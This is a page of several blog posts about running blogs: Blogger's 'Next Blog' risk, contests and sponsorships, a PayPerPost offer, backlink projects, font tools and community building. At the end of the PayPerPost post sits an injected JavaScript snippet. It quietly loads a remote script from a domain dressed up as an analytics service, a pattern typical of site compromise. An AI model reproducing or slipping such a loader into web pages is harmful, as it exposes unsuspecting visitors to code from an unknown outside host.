Blogger/Blogspot Next Blog Warning
Blogger.com is a free blog hosting site that has many features, but there is one feature that needs work. There is an option on the top of blogger/blogspot blogs that allows you to view random blogs. This “Next Blog” feature can be a useful way to seek out new blogs, but beware of using it. Although Blogger has a policy that does not allow pornographic material to be displayed on their blogs, they do not monitor the blogs. Many bloggers have been surprised when they use this “Next Blog” feature and are directed to a blog that is pornographic or has an inappropriate content. Although Blogger does have a Terms of Service Policy that states you must be at least 13 years old to have a blog and that pornographic or inappropriate material must not be displayed, it seems that these are just words used to protect themselves. Part of Blogger Terms of Service Policy states,
“By their very nature, Blogger.com and Blogspot.com can carry offensive material, or in some cases, postings that have been mislabeled or are otherwise deceptive. We expect that you use caution and common sense when using Blogger.com and Blogspot.com.”
Precautions from Blogger
When bloggers come across these types of blogs they have an option to “Flag” and report these blogs as inappropriate. The blog is then unable to be viewed until Blogger checks out the blog. Instead of relying on bloggers to do this they should have a screening process that weeds out these inappropriate blogs. If Blogger does wish to allow these blogs to use their service then they should not include them in the “Next Blog” feature or put a warning before the blog appears that it contains inappropriate material for some viewers.
Monitors for the Monitors
Although Blogger is a free hosting site, it should monitor the blogs they host and can not expect that every inappropriate blog out there will be flagged by someone else. This may be a case of you get what you pay for and since Blogger is free they may not be willing to do this. The next time you use the “Next Blog” option be forewarned that the site you are going to maybe inappropriate for some viewers including yourself.
Comment Friday for September 21st
Another Friday so soon. This week involved emergency room visits and early morning breakfasts, that I wasn’t awake for.
If this is your first comment friday, the idea is pretty simple. Leave us a comment about anything you want. I will select one lucky commentor that really stands out, and I will be giving out a free link to that person. In addition to that that, I will be giving them a free blogroll spot.
This week I’m interested in what you think about contests. Have you hosted a blog contest on your blog? If so, what area did you target, such as more links, more rss subscribers etc. Who is looking to start a new contest. We just finished our technorati 5,000 contest which we did very well in and I will be announcing a winner soon.
Blog about your Blog Sponsored Contests
I’ve helped several blogs get rolling on contest with ideas and help. We’ve posted some great helpful articles like 6 Great Tips for Hosting a Blogging Contest and Incentive to Offer on Your Blog. Invesp recently did a huge 400$ blog contest and through my services I helped his contest get onto 20 blogs and posts throughout several forums.
Contest Sponsorship
Through all of our contest success we’ve recently been able to sponsor a few contests. We just finished our contest where we pushed the technorati top 5,000.
Groovy Vegetarian launched a caption contest where the winner can pick through several prizes. One of the prizes is a one month link on Blog about your Blog. Other prizes include a hemp candle, organic soap, and 10$ cash on paypal. I was happy to promote and sponsor Missy’s contest, she is a co-author at my freebie blog, It’s All Free Online.
Blogger Love Forum is working on their official launch, and who better to sponsor a grand opening contest but Blog about your Blog? By blogging about their new forum, and us the sponsors, you can win links on our blog, and several other blogs. I’ve been trying to get several more sponsors, so if you are interested in putting up a link for a winner, feel free to contact us! For this particular contest we are looking for blogs with a page rank.
I’ve got a few more shout outs for Derek Semmler and The Prize Blog, but I don’t have the post ready quite yet.
If your interested in having BAYB sponsor your contest let us know.
One opportunity you shouldn’t miss
As you might have heard around the blog-o-sphere, PayPerPost is giving away an easy $20 to everyone that agrees to write about their services on their blogs. As this is my first post on this blog, I felt like giving something back to this community. This is your chance to win an easy $20 people. You just have to subscribe, submit your blog and write a 200 word article about their services. However, PayPerPost is keeping a desired level of transparency, so the tone of your posts doesn’t have to necessarily be a positive one, you are free to express your thoughts and you will even get paid.
The best part about this offer from PayPerPost is that you can register, submit your blog, get approved, write the article, get the $20 and if you’re not too much into having paid posts on your blog, well you can just forget about them. It’s as easy as that.
The reason why I wanted to share this with a larger community than the one on my blog is that their are obviously more readers here and there are lots more people here who can take advantage of this opportunity.
Subscribe now and get your $20. ;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);
Join The 2,000 Word Project
Earlier this week I posted about how important community is for a blog and expressed how important it is to come up with interesting concepts in order to increase the community surrounding ones blog. In April 2007 I began a blog named “the Details,” a blog that was my ‘community’ experiment, and it proved to be successful.
I incorporated many ideas I had come up with, going so far as calling out John Chow himself in a “Evil John Chow Photoshop Contest” that received around 20 entries and inspiring blogger cooperation with my “2,000 words project.” The blog was receiving backlinks from popular bloggers, and was on a roll. It ended abruptly however because of a coding error by me, and my lazy nature not letting me repair it. At least until now.
The blog has been brought back alive by me, however I have went through and cleared out all but three post, leaving room to expand with new ideas. I have however left my 2,000 word project open and it is still running. If you want a free backlink to your site, follow the instructions on the page! I also pick at random from submissions and give the submitter a free review of their site, and will target keywords they want (PR4 Backlinks.)
I feel the 2,000 word project is a good way to gain readers (and a few backlinks *evil laugh*) so come join in!
Two Free Font Utilities You Should Check Out
Written by Mark: MeAndMyDrum | Fave MAMD | Subscribe to MAMD
Even if you’re not a professional designer, there’s a high probability that you’ve asked yourself, “What font would look right for this image I’m creating for my blog?”
You may have a gazillion fonts installed on your computer, but it’s a painful process having to sift through them all to find the right one. Or if you’re like me at one time, you’d copy and paste multiple instances of some text and apply different fonts to each to make a decision.
Well those days are over if you have one of these two font utilities at your side: AMP Font Viewer or Font Thing. After installing either of these, you can view that large collection of fonts you have on your computer with sample text that you enter. What a time saver!
My personal favorite is AMP Font Viewer because I can simply view more fonts at a glance. But either one will do you right. 🙂
AMP Font Viewer
Font Thing
Blog Community Vs. Blog Traffic
In today’s blogosphere I notice to often that bloggers lose track of the most vital concept of any blog, the community surrounded around the blog. Often times it gets put to the side by the undying race for Blog traffic, which I actually find less important than to having a steady supply of contributing members, whether it be through contest, or more.
I am Nicholas Pruett, I have ran a few blogs and my quickest turn around has always been with blogs where I have focused on community oriented aspects of the site, whether it be a contest, or even a task as simple as replying to comments left on my post. Paying attention to these aspects of some of my blogs have gotten them to page rank 4’s within a week and a half without actively pursuing backlinks.
Look at any successful blogger, and you will notice at least one of two things depending on the content of the blog, the writer will either have scheduled contest where users can win items, it doesn’t have to be big, anything to sprout buzz. The writer will also constantly reply to all comments and in turn you will actually notice more comments, and some by the same people, meaning you have gained more to your community!
Examples of successful community blogs would be the famous google whore John Chow, who we all love and hate, and also Problogger. Those two blogs have a cult like community, and in turn their RSS subscribers rise, and friends tell friends, so traffic grows, as well as backlinks.
The reason most blogs fail is because they are not community oriented.
Writing great material is a given necessity
replying to comments and making people want to come back is often overlooked.
In the end, stop writing for a quick click and keep the readers at your site, I am still working on how to get readers to my comedian blog, and have decided to get backlinks for some of the most popular comedians Dane Cook and Jamie Foxx and once the traffic shows their will be contest, and I already reply to all of my comments. If you take time to interact with your readers, you will have a more successful blog. Community is more important than traffic, the money will come in time, and in more bulk if you maintain readers.
Family Support Forum Has A New Author At The Helm
I wanted to announce my involvement with a blog I’ll be authoring called Family Support Forum. It’s part of the Blog Authors Organization which is the brainchild of Garry Conn and Christine Senter.
This was a natural extension to what I write about on another level with Family WebWatch. On that blog I write about Internet safety issues and how families can not only protect themselves from risk, but also point out fun and productive places I find on the Web.
On Family Support Forum, though, I have a larger canvas with which to paint on. As with any community I’m behind, I encourage interactivity and an exchange of ideas and information. I hope that you’ll add it to your list of reads and visit often as I invite your comments and suggestions for topics.
If you are interested in joining BAO, I invite you to apply here.